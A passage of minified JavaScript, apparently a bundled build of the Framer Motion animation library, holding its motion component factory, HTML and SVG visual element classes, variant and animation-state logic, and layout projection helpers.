jy=()=>({style:{},transform:{},transformOrigin:{},vars:{}});function g3(e,t,n){for(const s in t)!Jn(t[s])&&!x3(s,n)&&(e[s]=t[s])}function sV({transformTemplate:e},t){return C.useMemo(()=>{const n=jy();return Ey(n,t,e),Object.assign({},n.vars,n.style)},[t])}function rV(e,t){const n=e.style||{},s={};return g3(s,n,e),Object.assign(s,sV(e,t)),s}function iV(e,t){const n={},s=rV(e,t);return e.drag&&e.dragListener!==!1&&(n.draggable=!1,s.userSelect=s.WebkitUserSelect=s.WebkitTouchCallout="none",s.touchAction=e.drag===!0?"none":`pan-${e.drag==="x"?"y":"x"}`),e.tabIndex===void 0&&(e.onTap||e.onTapStart||e.whileTap)&&(n.tabIndex=0),n.style=s,n}const oV={offset:"stroke-dashoffset",array:"stroke-dasharray"},lV={offset:"strokeDashoffset",array:"strokeDasharray"};function cV(e,t,n=1,s=0,i=!0){e.pathLength=1;const c=i?oV:lV;e[c.offset]=et.transform(-s);const u=et.transform(t),d=et.transform(n);e[c.array]=`${u} ${d}`}function v3(e,{attrX:t,attrY:n,attrScale:s,pathLength:i,pathSpacing:c=1,pathOffset:u=0,...d},m,h,p){if(Ey(e,d,h),m){e.style.viewBox&&(e.attrs.viewBox=e.style.viewBox);return}e.attrs=e.style,e.style={};const{attrs:x,style:g}=e;x.transform&&(g.transform=x.transform,delete x.transform),(g.transform||x.transformOrigin)&&(g.transformOrigin=x.transformOrigin??"50% 50%",delete x.transformOrigin),g.transform&&(g.transformBox=p?.transformBox??"fill-box",delete x.transformBox),t!==void 0&&(x.x=t),n!==void 0&&(x.y=n),s!==void 0&&(x.scale=s),i!==void 0&&cV(x,i,c,u,!1)}const y3=()=>({...jy(),attrs:{}}),b3=e=>typeof e=="string"&&e.toLowerCase()==="svg";function uV(e,t,n,s){const i=C.useMemo(()=>{const c=y3();return v3(c,t,b3(s),e.transformTemplate,e.style),{...c.attrs,style:{...c.style}}},[t]);if(e.style){const c={};g3(c,e.style,e),i.style={...c,...i.style}}return i}const dV=["animate","circle","defs","desc","ellipse","g","image","line","filter","marker","mask","metadata","path","pattern","polygon","polyline","rect","stop","switch","symbol","svg","text","tspan","use","view"];function Ay(e){return typeof e!="string"||e.includes("-")?!1:!!(dV.indexOf(e)>-1||/[A-Z]/u.test(e))}function fV(e,t,n,{latestValues:s},i,c=!1){const d=(Ay(e)?uV:iV)(t,s,i,e),m=Qz(t,typeof e=="string",c),h=e!==C.Fragment?{...m,...d,ref:n}:{},{children:p}=t,x=C.useMemo(()=>Jn(p)?p.get():p,[p]);return C.createElement(e,{...h,children:x})}function mS(e){const t=[{},{}];return e?.values.forEach((n,s)=>{t[0][s]=n.get(),t[1][s]=n.getVelocity()}),t}function Ty(e,t,n,s){if(typeof t=="function"){const[i,c]=mS(s);t=t(n!==void 0?n:e.custom,i,c)}if(typeof t=="string"&&(t=e.variants&&e.variants[t]),typeof t=="function"){const[i,c]=mS(s);t=t(n!==void 0?n:e.custom,i,c)}return t}function k0(e){return Jn(e)?e.get():e}function hV({scrapeMotionValuesFromProps:e,createRenderState:t},n,s,i){return{latestValues:mV(n,s,i,e),renderState:t()}}function mV(e,t,n,s){const i={},c=s(e,{});for(const g in c)i[g]=k0(c[g]);let{initial:u,animate:d}=e;const m=kh(e),h=p3(e);t&&h&&!m&&e.inherit!==!1&&(u===void 0&&(u=t.initial),d===void 0&&(d=t.animate));let p=n?n.initial===!1:!1;p=p||u===!1;const x=p?d:u;if(x&&typeof x!="boolean"&&!_h(x)){const g=Array.isArray(x)?x:[x];for(let y=0;y<g.length;y++){const w=Ty(e,g[y]);if(w){const{transitionEnd:S,transition:N,...T}=w;for(const E in T){let A=T[E];if(Array.isArray(A)){const j=p?A.length-1:0;A=A[j]}A!==null&&(i[E]=A)}for(const E in S)i[E]=S[E]}}}return i}const w3=e=>(t,n)=>{const s=C.useContext(Rh),i=C.useContext(Dh),c=()=>hV(e,t,s,i);return n?c():Jv(c)};function Dy(e,t,n){const{style:s}=e,i={};for(const c in s)(Jn(s[c])||t.style&&Jn(t.style[c])||x3(c,e)||n?.getValue(c)?.liveStyle!==void 0)&&(i[c]=s[c]);return i}const pV=w3({scrapeMotionValuesFromProps:Dy,createRenderState:jy});function C3(e,t,n){const s=Dy(e,t,n);for(const i in e)if(Jn(e[i])||Jn(t[i])){const c=Hl.indexOf(i)!==-1?"attr"+i.charAt(0).toUpperCase()+i.substring(1):i;s[c]=e[i]}return s}const xV=w3({scrapeMotionValuesFromProps:C3,createRenderState:y3}),gV=Symbol.for("motionComponentSymbol");function hl(e){return e&&typeof e=="object"&&Object.prototype.hasOwnProperty.call(e,"current")}function vV(e,t,n){return C.useCallback(s=>{s&&e.onMount&&e.onMount(s),t&&(s?t.mount(s):t.unmount()),n&&(typeof n=="function"?n(s):hl(n)&&(n.current=s))},[t])}const Ry=e=>e.replace(/([a-z])([A-Z])/gu,"$1-$2").toLowerCase(),yV="framerAppearId",S3="data-"+Ry(yV),N3=C.createContext({});function bV(e,t,n,s,i){const{visualElement:c}=C.useContext(Rh),u=C.useContext(h3),d=C.useContext(Dh),m=C.useContext(Cy).reducedMotion,h=C.useRef(null);s=s||u.renderer,!h.current&&s&&(h.current=s(e,{visualState:t,parent:c,props:n,presenceContext:d,blockInitialAnimation:d?d.initial===!1:!1,reducedMotionConfig:m}));const p=h.current,x=C.useContext(N3);p&&!p.projection&&i&&(p.type==="html"||p.type==="svg")&&wV(h.current,n,i,x);const g=C.useRef(!1);C.useInsertionEffect(()=>{p&&g.current&&p.update(n,d)});const y=n[S3],w=C.useRef(!!y&&!window.MotionHandoffIsComplete?.(y)&&window.MotionHasOptimisedAnimation?.(y));return wA(()=>{p&&(g.current=!0,window.MotionIsMounted=!0,p.updateFeatures(),p.scheduleRenderMicrotask(),w.current&&p.animationState&&p.animationState.animateChanges())}),C.useEffect(()=>{p&&(!w.current&&p.animationState&&p.animationState.animateChanges(),w.current&&(queueMicrotask(()=>{window.MotionHandoffMarkAsComplete?.(y)}),w.current=!1),p.enteringChildren=void 0)}),p}function wV(e,t,n,s){const{layoutId:i,layout:c,drag:u,dragConstraints:d,layoutScroll:m,layoutRoot:h,layoutCrossfade:p}=t;e.projection=new n(e.latestValues,t["data-framer-portal-id"]?void 0:E3(e.parent)),e.projection.setOptions({layoutId:i,layout:c,alwaysMeasureLayout:!!u||d&&hl(d),visualElement:e,animationType:typeof c=="string"?c:"both",initialPromotionConfig:s,crossfade:p,layoutScroll:m,layoutRoot:h})}function E3(e){if(e)return e.options.allowProjection!==!1?e.projection:E3(e.parent)}function Lx(e,{forwardMotionProps:t=!1}={},n,s){n&&Kz(n);const i=Ay(e)?xV:pV;function c(d,m){let h;const p={...C.useContext(Cy),...d,layoutId:CV(d)},{isStatic:x}=p,g=Jz(d),y=i(d,x);if(!x&&ey){SV();const w=NV(p);h=w.MeasureLayout,g.visualElement=bV(e,y,p,s,w.ProjectionNode)}return o.jsxs(Rh.Provider,{value:g,children:[h&&g.visualElement?o.jsx(h,{visualElement:g.visualElement,...p}):null,fV(e,d,vV(y,g.visualElement,m),y,x,t)]})}c.displayName=`motion.${typeof e=="string"?e:`create(${e.displayName??e.name??""})`}`;const u=C.forwardRef(c);return u[gV]=e,u}function CV({layoutId:e}){const t=C.useContext(Zv).id;return t&&e!==void 0?t+"-"+e:e}function SV(e,t){C.useContext(h3).strict}function NV(e){const{drag:t,layout:n}=kl;if(!t&&!n)return{};const s={...t,...n};return{MeasureLayout:t?.isEnabled(e)||n?.isEnabled(e)?s.MeasureLayout:void 0,ProjectionNode:s.ProjectionNode}}function EV(e,t){if(typeof Proxy>"u")return Lx;const n=new Map,s=(c,u)=>Lx(c,u,e,t),i=(c,u)=>s(c,u);return new Proxy(i,{get:(c,u)=>u==="create"?s:(n.has(u)||n.set(u,Lx(u,void 0,e,t)),n.get(u))})}function j3({top:e,left:t,right:n,bottom:s}){return{x:{min:t,max:n},y:{min:e,max:s}}}function jV({x:e,y:t}){return{top:t.min,right:e.max,bottom:t.max,left:e.min}}function AV(e,t){if(!t)return e;const n=t({x:e.left,y:e.top}),s=t({x:e.right,y:e.bottom});return{top:n.y,left:n.x,bottom:s.y,right:s.x}}function Px(e){return e===void 0||e===1}function qg({scale:e,scaleX:t,scaleY:n}){return!Px(e)||!Px(t)||!Px(n)}function qi(e){return qg(e)||A3(e)||e.z||e.rotate||e.rotateX||e.rotateY||e.skewX||e.skewY}function A3(e){return pS(e.x)||pS(e.y)}function pS(e){return e&&e!=="0%"}function Z0(e,t,n){const s=e-n,i=t*s;return n+i}function xS(e,t,n,s,i){return i!==void 0&&(e=Z0(e,i,s)),Z0(e,n,s)+t}function $g(e,t=0,n=1,s,i){e.min=xS(e.min,t,n,s,i),e.max=xS(e.max,t,n,s,i)}function T3(e,{x:t,y:n}){$g(e.x,t.translate,t.scale,t.originPoint),$g(e.y,n.translate,n.scale,n.originPoint)}const gS=.999999999999,vS=1.0000000000001;function TV(e,t,n,s=!1){const i=n.length;if(!i)return;t.x=t.y=1;let c,u;for(let d=0;d<i;d++){c=n[d],u=c.projectionDelta;const{visualElement:m}=c.options;m&&m.props.style&&m.props.style.display==="contents"||(s&&c.options.layoutScroll&&c.scroll&&c!==c.root&&pl(e,{x:-c.scroll.offset.x,y:-c.scroll.offset.y}),u&&(t.x*=u.x.scale,t.y*=u.y.scale,T3(e,u)),s&&qi(c.latestValues)&&pl(e,c.latestValues))}t.x<vS&&t.x>gS&&(t.x=1),t.y<vS&&t.y>gS&&(t.y=1)}function ml(e,t){e.min=e.min+t,e.max=e.max+t}function yS(e,t,n,s,i=.5){const c=tn(e.min,e.max,i);$g(e,t,n,c,s)}function pl(e,t){yS(e.x,t.x,t.scaleX,t.scale,t.originX),yS(e.y,t.y,t.scaleY,t.scale,t.originY)}function D3(e,t){return j3(AV(e.getBoundingClientRect(),t))}function DV(e,t,n){const s=D3(e,n),{scroll:i}=t;return i&&(ml(s.x,i.offset.x),ml(s.y,i.offset.y)),s}const bS=()=>({translate:0,scale:1,origin:0,originPoint:0}),xl=()=>({x:bS(),y:bS()}),wS=()=>({min:0,max:0}),mn=()=>({x:wS(),y:wS()}),Gg={current:null},R3={current:!1};function RV(){if(R3.current=!0,!!ey)if(window.matchMedia){const e=window.matchMedia("(prefers-reduced-motion)"),t=()=>Gg.current=e.matches;e.addEventListener("change",t),t()}else Gg.current=!1}const _V=new WeakMap;function kV(e,t,n){for(const s in t){const i=t[s],c=n[s];if(Jn(i))e.addValue(s,i);else if(Jn(c))e.addValue(s,_l(i,{owner:e}));else if(c!==i)if(e.hasValue(s)){const u=e.getValue(s);u.liveStyle===!0?u.jump(i):u.hasAnimated||u.set(i)}else{const u=e.getStaticValue(s);e.addValue(s,_l(u!==void 0?u:i,{owner:e}))}}for(const s in n)t[s]===void 0&&e.removeValue(s);return t}const CS=["AnimationStart","AnimationComplete","Update","BeforeLayoutMeasure","LayoutMeasure","LayoutAnimationStart","LayoutAnimationComplete"];class BV{scrapeMotionValuesFromProps(t,n,s){return{}}constructor({parent:t,props:n,presenceContext:s,reducedMotionConfig:i,blockInitialAnimation:c,visualState:u},d={}){this.current=null,this.children=new Set,this.isVariantNode=!1,this.isControllingVariants=!1,this.shouldReduceMotion=null,this.values=new Map,this.KeyframeResolver=gy,this.features={},this.valueSubscriptions=new Map,this.prevMotionValues={},this.events={},this.propEventSubscriptions={},this.notifyUpdate=()=>this.notify("Update",this.latestValues),this.render=()=>{this.current&&(this.triggerBuild(),this.renderInstance(this.current,this.renderState,this.props.style,this.projection))},this.renderScheduledAt=0,this.scheduleRender=()=>{const g=ya.now();this.renderScheduledAt<g&&(this.renderScheduledAt=g,Xt.render(this.render,!1,!0))};const{latestValues:m,renderState:h}=u;this.latestValues=m,this.baseTarget={...m},this.initialValues=n.initial?{...m}:{},this.renderState=h,this.parent=t,this.props=n,this.presenceContext=s,this.depth=t?t.depth+1:0,this.reducedMotionConfig=i,this.options=d,this.blockInitialAnimation=!!c,this.isControllingVariants=kh(n),this.isVariantNode=p3(n),this.isVariantNode&&(this.variantChildren=new Set),this.manuallyAnimateOnMount=!!(t&&t.current);const{willChange:p,...x}=this.scrapeMotionValuesFromProps(n,{},this);for(const g in x){const y=x[g];m[g]!==void 0&&Jn(y)&&y.set(m[g])}}mount(t){this.current=t,_V.set(t,this),this.projection&&!this.projection.instance&&this.projection.mount(t),this.parent&&this.isVariantNode&&!this.isControllingVariants&&(this.removeFromVariantTree=this.parent.addVariantChild(this)),this.values.forEach((n,s)=>this.bindToMotionValue(s,n)),R3.current||RV(),this.shouldReduceMotion=this.reducedMotionConfig==="never"?!1:this.reducedMotionConfig==="always"?!0:Gg.current,this.parent?.addChild(this),this.update(this.props,this.presenceContext)}unmount(){this.projection&&this.projection.unmount(),hi(this.notifyUpdate),hi(this.render),this.valueSubscriptions.forEach(t=>t()),this.valueSubscriptions.clear(),this.removeFromVariantTree&&this.removeFromVariantTree(),this.parent?.removeChild(this);for(const t in this.events)this.events[t].clear();for(const t in this.features){const n=this.features[t];n&&(n.unmount(),n.isMounted=!1)}this.current=null}addChild(t){this.children.add(t),this.enteringChildren??(this.enteringChildren=new Set),this.enteringChildren.add(t)}removeChild(t){this.children.delete(t),this.enteringChildren&&this.enteringChildren.delete(t)}bindToMotionValue(t,n){this.valueSubscriptions.has(t)&&this.valueSubscriptions.get(t)();const s=ql.has(t);s&&this.onBindTransform&&this.onBindTransform();const i=n.on("change",u=>{this.latestValues[t]=u,this.props.onUpdate&&Xt.preRender(this.notifyUpdate),s&&this.projection&&(this.projection.isTransformDirty=!0),this.scheduleRender()});let c;window.MotionCheckAppearSync&&(c=window.MotionCheckAppearSync(this,t,n)),this.valueSubscriptions.set(t,()=>{i(),c&&c(),n.owner&&n.stop()})}sortNodePosition(t){return!this.current||!this.sortInstanceNodePosition||this.type!==t.type?0:this.sortInstanceNodePosition(this.current,t.current)}updateFeatures(){let t="animation";for(t in kl){const n=kl[t];if(!n)continue;const{isEnabled:s,Feature:i}=n;if(!this.features[t]&&i&&s(this.props)&&(this.features[t]=new i(this)),this.features[t]){const c=this.features[t];c.isMounted?c.update():(c.mount(),c.isMounted=!0)}}}triggerBuild(){this.build(this.renderState,this.latestValues,this.props)}measureViewportBox(){return this.current?this.measureInstanceViewportBox(this.current,this.props):mn()}getStaticValue(t){return this.latestValues[t]}setStaticValue(t,n){this.latestValues[t]=n}update(t,n){(t.transformTemplate||this.props.transformTemplate)&&this.scheduleRender(),this.prevProps=this.props,this.props=t,this.prevPresenceContext=this.presenceContext,this.presenceContext=n;for(let s=0;s<CS.length;s++){const i=CS[s];this.propEventSubscriptions[i]&&(this.propEventSubscriptions[i](),delete this.propEventSubscriptions[i]);const c="on"+i,u=t[c];u&&(this.propEventSubscriptions[i]=this.on(i,u))}this.prevMotionValues=kV(this,this.scrapeMotionValuesFromProps(t,this.prevProps,this),this.prevMotionValues),this.handleChildMotionValue&&this.handleChildMotionValue()}getProps(){return this.props}getVariant(t){return this.props.variants?this.props.variants[t]:void 0}getDefaultTransition(){return this.props.transition}getTransformPagePoint(){return this.props.transformPagePoint}getClosestVariantNode(){return this.isVariantNode?this:this.parent?this.parent.getClosestVariantNode():void 0}addVariantChild(t){const n=this.getClosestVariantNode();if(n)return n.variantChildren&&n.variantChildren.add(t),()=>n.variantChildren.delete(t)}addValue(t,n){const s=this.values.get(t);n!==s&&(s&&this.removeValue(t),this.bindToMotionValue(t,n),this.values.set(t,n),this.latestValues[t]=n.get())}removeValue(t){this.values.delete(t);const n=this.valueSubscriptions.get(t);n&&(n(),this.valueSubscriptions.delete(t)),delete this.latestValues[t],this.removeValueFromRenderState(t,this.renderState)}hasValue(t){return this.values.has(t)}getValue(t,n){if(this.props.values&&this.props.values[t])return this.props.values[t];let s=this.values.get(t);return s===void 0&&n!==void 0&&(s=_l(n===null?void 0:n,{owner:this}),this.addValue(t,s)),s}readValue(t,n){let s=this.latestValues[t]!==void 0||!this.current?this.latestValues[t]:this.getBaseTargetFromProps(this.props,t)??this.readValueFromInstance(this.current,t,this.options);return s!=null&&(typeof s=="string"&&(CA(s)||NA(s))?s=parseFloat(s):!Vz(s)&&mi.test(n)&&(s=r3(t,n)),this.setBaseTarget(t,Jn(s)?s.get():s)),Jn(s)?s.get():s}setBaseTarget(t,n){this.baseTarget[t]=n}getBaseTarget(t){const{initial:n}=this.props;let s;if(typeof n=="string"||typeof n=="object"){const c=Ty(this.props,n,this.presenceContext?.custom);c&&(s=c[t])}if(n&&s!==void 0)return s;const i=this.getBaseTargetFromProps(this.props,t);return i!==void 0&&!Jn(i)?i:this.initialValues[t]!==void 0&&s===void 0?void 0:this.baseTarget[t]}on(t,n){return this.events[t]||(this.events[t]=new ry),this.events[t].add(n)}notify(t,...n){this.events[t]&&this.events[t].notify(...n)}scheduleRenderMicrotask(){by.render(this.render)}}class _3 extends BV{constructor(){super(...arguments),this.KeyframeResolver=Tz}sortInstanceNodePosition(t,n){return t.compareDocumentPosition(n)&2?1:-1}getBaseTargetFromProps(t,n){return t.style?t.style[n]:void 0}removeValueFromRenderState(t,{vars:n,style:s}){delete n[t],delete s[t]}handleChildMotionValue(){this.childSubscription&&(this.childSubscription(),delete this.childSubscription);const{children:t}=this.props;Jn(t)&&(this.childSubscription=t.on("change",n=>{this.current&&(this.current.textContent=`${n}`)}))}}function k3(e,{style:t,vars:n},s,i){const c=e.style;let u;for(u in t)c[u]=t[u];i?.applyProjectionStyles(c,s);for(u in n)c.setProperty(u,n[u])}function MV(e){return window.getComputedStyle(e)}class FV extends _3{constructor(){super(...arguments),this.type="html",this.renderInstance=k3}readValueFromInstance(t,n){if(ql.has(n))return this.projection?.isProjecting?Lg(n):YP(t,n);{const s=MV(t),i=(ly(n)?s.getPropertyValue(n):s[n])||0;return typeof i=="string"?i.trim():i}}measureInstanceViewportBox(t,{transformPagePoint:n}){return D3(t,n)}build(t,n,s){Ey(t,n,s.transformTemplate)}scrapeMotionValuesFromProps(t,n,s){return Dy(t,n,s)}}const B3=new Set(["baseFrequency","diffuseConstant","kernelMatrix","kernelUnitLength","keySplines","keyTimes","limitingConeAngle","markerHeight","markerWidth","numOctaves","targetX","targetY","surfaceScale","specularConstant","specularExponent","stdDeviation","tableValues","viewBox","gradientTransform","pathLength","startOffset","textLength","lengthAdjust"]);function OV(e,t,n,s){k3(e,t,void 0,s);for(const i in t.attrs)e.setAttribute(B3.has(i)?i:Ry(i),t.attrs[i])}class LV extends _3{constructor(){super(...arguments),this.type="svg",this.isSVGTag=!1,this.measureInstanceViewportBox=mn}getBaseTargetFromProps(t,n){return t[n]}readValueFromInstance(t,n){if(ql.has(n)){const s=s3(n);return s&&s.default||0}return n=B3.has(n)?n:Ry(n),t.getAttribute(n)}scrapeMotionValuesFromProps(t,n,s){return C3(t,n,s)}build(t,n,s){v3(t,n,this.isSVGTag,s.transformTemplate,s.style)}renderInstance(t,n,s,i){OV(t,n,s,i)}mount(t){this.isSVGTag=b3(t.tagName),super.mount(t)}}const PV=(e,t)=>Ay(e)?new LV(t):new FV(t,{allowProjection:e!==C.Fragment});function Nl(e,t,n){const s=e.getProps();return Ty(s,t,n!==void 0?n:s.custom,e)}const Yg=e=>Array.isArray(e);function zV(e,t,n){e.hasValue(t)?e.getValue(t).set(n):e.addValue(t,_l(n))}function VV(e){return Yg(e)?e[e.length-1]||0:e}function UV(e,t){const n=Nl(e,t);let{transitionEnd:s={},transition:i={},...c}=n||{};c={...c,...s};for(const u in c){const d=VV(c[u]);zV(e,u,d)}}function IV(e){return!!(Jn(e)&&e.add)}function Kg(e,t){const n=e.getValue("willChange");if(IV(n))return n.add(t);if(!n&&jr.WillChange){const s=new jr.WillChange("auto");e.addValue("willChange",s),s.add(t)}}function M3(e){return e.props[S3]}const HV=e=>e!==null;function qV(e,{repeat:t,repeatType:n="loop"},s){const i=e.filter(HV),c=t&&n!=="loop"&&t%2===1?0:i.length-1;return i[c]}const $V={type:"spring",stiffness:500,damping:25,restSpeed:10},GV=e=>({type:"spring",stiffness:550,damping:e===0?2*Math.sqrt(550):30,restSpeed:10}),YV={type:"keyframes",duration:.8},KV={type:"keyframes",ease:[.25,.1,.35,1],duration:.3},XV=(e,{keyframes:t})=>t.length>2?YV:ql.has(e)?e.startsWith("scale")?GV(t[1]):$V:KV;function WV({when:e,delay:t,delayChildren:n,staggerChildren:s,staggerDirection:i,repeat:c,repeatType:u,repeatDelay:d,from:m,elapsed:h,...p}){return!!Object.keys(p).length}const _y=(e,t,n,s={},i,c)=>u=>{const d=vy(s,e)||{},m=d.delay||s.delay||0;let{elapsed:h=0}=s;h=h-Us(m);const p={keyframes:Array.isArray(n)?n:[null,n],ease:"easeOut",velocity:t.getVelocity(),...d,delay:-h,onUpdate:g=>{t.set(g),d.onUpdate&&d.onUpdate(g)},onComplete:()=>{u(),d.onComplete&&d.onComplete()},name:e,motionValue:t,element:c?void 0:i};WV(d)||Object.assign(p,XV(e,p)),p.duration&&(p.duration=Us(p.duration)),p.repeatDelay&&(p.repeatDelay=Us(p.repeatDelay)),p.from!==void 0&&(p.keyframes[0]=p.from);let x=!1;if((p.type===!1||p.duration===0&&!p.repeatDelay)&&(Ig(p),p.delay===0&&(x=!0)),(jr.instantAnimations||jr.skipAnimations)&&(x=!0,Ig(p),p.delay=0),p.allowFlatten=!d.type&&!d.ease,x&&!c&&t.get()!==void 0){const g=qV(p.keyframes,d);if(g!==void 0){Xt.update(()=>{p.onUpdate(g),p.onComplete()});return}}return d.isSync?new xy(p):new xz(p)};function QV({protectedKeys:e,needsAnimating:t},n){const s=e.hasOwnProperty(n)&&t[n]!==!0;return t[n]=!1,s}function F3(e,t,{delay:n=0,transitionOverride:s,type:i}={}){let{transition:c=e.getDefaultTransition(),transitionEnd:u,...d}=t;s&&(c=s);const m=[],h=i&&e.animationState&&e.animationState.getState()[i];for(const p in d){const x=e.getValue(p,e.latestValues[p]??null),g=d[p];if(g===void 0||h&&QV(h,p))continue;const y={delay:n,...vy(c||{},p)},w=x.get();if(w!==void 0&&!x.isAnimating&&!Array.isArray(g)&&g===w&&!y.velocity)continue;let S=!1;if(window.MotionHandoffAnimation){const T=M3(e);if(T){const E=window.MotionHandoffAnimation(T,p,Xt);E!==null&&(y.startTime=E,S=!0)}}Kg(e,p),x.start(_y(p,x,g,e.shouldReduceMotion&&t3.has(p)?{type:!1}:y,e,S));const N=x.animation;N&&m.push(N)}return u&&Promise.all(m).then(()=>{Xt.update(()=>{u&&UV(e,u)})}),m}function O3(e,t,n,s=0,i=1){const c=Array.from(e).sort((h,p)=>h.sortNodePosition(p)).indexOf(t),u=e.size,d=(u-1)*s;return typeof n=="function"?n(c,u):i===1?c*s:d-c*s}function Xg(e,t,n={}){const s=Nl(e,t,n.type==="exit"?e.presenceContext?.custom:void 0);let{transition:i=e.getDefaultTransition()||{}}=s||{};n.transitionOverride&&(i=n.transitionOverride);const c=s?()=>Promise.all(F3(e,s,n)):()=>Promise.resolve(),u=e.variantChildren&&e.variantChildren.size?(m=0)=>{const{delayChildren:h=0,staggerChildren:p,staggerDirection:x}=i;return ZV(e,t,m,h,p,x,n)}:()=>Promise.resolve(),{when:d}=i;if(d){const[m,h]=d==="beforeChildren"?[c,u]:[u,c];return m().then(()=>h())}else return Promise.all([c(),u(n.delay)])}function ZV(e,t,n=0,s=0,i=0,c=1,u){const d=[];for(const m of e.variantChildren)m.notify("AnimationStart",t),d.push(Xg(m,t,{...u,delay:n+(typeof s=="function"?0:s)+O3(e.variantChildren,m,s,i,c)}).then(()=>m.notify("AnimationComplete",t)));return Promise.all(d)}function JV(e,t,n={}){e.notify("AnimationStart",t);let s;if(Array.isArray(t)){const i=t.map(c=>Xg(e,c,n));s=Promise.all(i)}else if(typeof t=="string")s=Xg(e,t,n);else{const i=typeof t=="function"?Nl(e,t,n.custom):t;s=Promise.all(F3(e,i,n))}return s.then(()=>{e.notify("AnimationComplete",t)})}function L3(e,t){if(!Array.isArray(t))return!1;const n=t.length;if(n!==e.length)return!1;for(let s=0;s<n;s++)if(t[s]!==e[s])return!1;return!0}const eU=Ny.length;function P3(e){if(!e)return;if(!e.isControllingVariants){const n=e.parent?P3(e.parent)||{}:{};return e.props.initial!==void 0&&(n.initial=e.props.initial),n}const t={};for(let n=0;n<eU;n++){const s=Ny[n],i=e.props[s];(yu(i)||i===!1)&&(t[s]=i)}return t}const tU=[...Sy].reverse(),nU=Sy.length;function aU(e){return t=>Promise.all(t.map(({animation:n,options:s})=>JV(e,n,s)))}function sU(e){let t=aU(e),n=SS(),s=!0;const i=m=>(h,p)=>{const x=Nl(e,p,m==="exit"?e.presenceContext?.custom:void 0);if(x){const{transition:g,transitionEnd:y,...w}=x;h={...h,...w,...y}}return h};function c(m){t=m(e)}function u(m){const{props:h}=e,p=P3(e.parent)||{},x=[],g=new Set;let y={},w=1/0;for(let N=0;N<nU;N++){const T=tU[N],E=n[T],A=h[T]!==void 0?h[T]:p[T],j=yu(A),R=T===m?E.isActive:null;R===!1&&(w=N);let D=A===p[T]&&A!==h[T]&&j;if(D&&s&&e.manuallyAnimateOnMount&&(D=!1),E.protectedKeys={...y},!E.isActive&&R===null||!A&&!E.prevProp||_h(A)||typeof A=="boolean")continue;const k=rU(E.prevProp,A);let B=k||T===m&&E.isActive&&!D&&j||N>w&&j,I=!1;const z=Array.isArray(A)?A:[A];let U=z.reduce(i(T),{});R===!1&&(U={});const{prevResolvedValues:$={}}=E,H={...$,...U},W=O=>{B=!0,g.has(O)&&(I=!0,g.delete(O)),E.needsAnimating[O]=!0;const V=e.getValue(O);V&&(V.liveStyle=!1)};for(const O in H){const V=U[O],Z=$[O];if(y.hasOwnProperty(O))continue;let ce=!1;Yg(V)&&Yg(Z)?ce=!L3(V,Z):ce=V!==Z,ce?V!=null?W(O):g.add(O):V!==void 0&&g.has(O)?W(O):E.protectedKeys[O]=!0}E.prevProp=A,E.prevResolvedValues=U,E.isActive&&(y={...y,...U}),s&&e.blockInitialAnimation&&(B=!1);const se=D&&k;B&&(!se||I)&&x.push(...z.map(O=>{const V={type:T};if(typeof O=="string"&&s&&!se&&e.manuallyAnimateOnMount&&e.parent){const{parent:Z}=e,ce=Nl(Z,O);if(Z.enteringChildren&&ce){const{delayChildren:F}=ce.transition||{};V.delay=O3(Z.enteringChildren,e,F)}}return{animation:O,options:V}}))}if(g.size){const N={};if(typeof h.initial!="boolean"){const T=Nl(e,Array.isArray(h.initial)?h.initial[0]:h.initial);T&&T.transition&&(N.transition=T.transition)}g.forEach(T=>{const E=e.getBaseTarget(T),A=e.getValue(T);A&&(A.liveStyle=!0),N[T]=E??null}),x.push({animation:N})}let S=!!x.length;return s&&(h.initial===!1||h.initial===h.animate)&&!e.manuallyAnimateOnMount&&(S=!1),s=!1,S?t(x):Promise.resolve()}function d(m,h){if(n[m].isActive===h)return Promise.resolve();e.variantChildren?.forEach(x=>x.animationState?.setActive(m,h)),n[m].isActive=h;const p=u(m);for(const x in n)n[x].protectedKeys={};return p}return{animateChanges:u,setActive:d,setAnimateFunction:c,getState:()=>n,reset:()=>{n=SS(),s=!0}}}function rU(e,t){return typeof t=="string"?t!==e:Array.isArray(t)?!L3(t,e):!1}function Hi(e=!1){return{isActive:e,protectedKeys:{},needsAnimating:{},prevResolvedValues:{}}}function SS(){return{animate:Hi(!0),whileInView:Hi(),whileHover:Hi(),whileTap:Hi(),whileDrag:Hi(),whileFocus:Hi(),exit:Hi()}}class wi{constructor(t){this.isMounted=!1,this.node=t}update(){}}class iU extends wi{constructor(t){super(t),t.animationState||(t.animationState=sU(t))}updateAnimationControlsSubscription(){const{animate:t}=this.node.getProps();_h(t)&&(this.unmountControls=t.subscribe(this.node))}mount(){this.updateAnimationControlsSubscription()}update(){const{animate:t}=this.node.getProps(),{animate:n}=this.node.prevProps||{};t!==n&&this.updateAnimationControlsSubscription()}unmount(){this.node.animationState.reset(),this.unmountControls?.()}}let oU=0;class lU extends wi{constructor(){super(...arguments),this.id=oU++}update(){if(!this.node.presenceContext)return;const{isPresent:t,onExitComplete:n}=this.node.presenceContext,{isPresent:s}=this.node.prevPresenceContext||{};if(!this.node.animationState||t===s)return;const i=this.node.animationState.setActive("exit",!t);n&&!t&&i.then(()=>{n(this.id)})}mount(){const{register:t,onExitComplete:n}=this.node.presenceContext||{};n&&n(this.id),t&&(this.unmount=t(this.id))}unmount(){}}const cU={animation:{Feature:iU},exit:{Feature:lU}};function wu(e,t,n,s={passive:!0}){return e.addEventListener(t,n,s),()=>e.removeEventListener(t,n)}function $u(e){return{point:{x:e.pageX,y:e.pageY}}}const uU=e=>t=>wy(t)&&e(t,$u(t));function tu(e,t,n,s){return wu(e,t,uU(n),s)}const z3=1e-4,dU=1-z3,fU=1+z3,V3=.01,hU=0-V3,mU=0+V3;function oa(e){return e.max-e.min}function pU(e,t,n){return Math.abs(e-t)<=n}function NS(e,t,n,s=.5){e.origin=s,e.originPoint=tn(t.min,t.max,e.origin),e.scale=oa(n)/oa(t),e.translate=tn(n.min,n.max,e.origin)-e.originPoint,(e.scale>=dU&&e.scale<=fU||isNaN(e.scale))&&(e.scale=1),(e.translate>=hU&&e.translate<=mU||isNaN(e.translate))&&(e.translate=0)}function nu(e,t,n,s){NS(e.x,t.x,n.x,s?s.originX:void 0),NS(e.y,t.y,n.y,s?s.originY:void 0)}function ES(e,t,n){e.min=n.min+t.min,e.max=e.min+oa(t)}function xU(e,t,n){ES(e.x,t.x,n.x),ES(e.y,t.y,n.y)}function jS(e,t,n){e.min=t.min-n.min,e.max=e.min+oa(t)}function au(e,t,n){jS(e.x,t.x,n.x),jS(e.y,t.y,n.y)}function es(e){return[e("x"),e("y")]}const 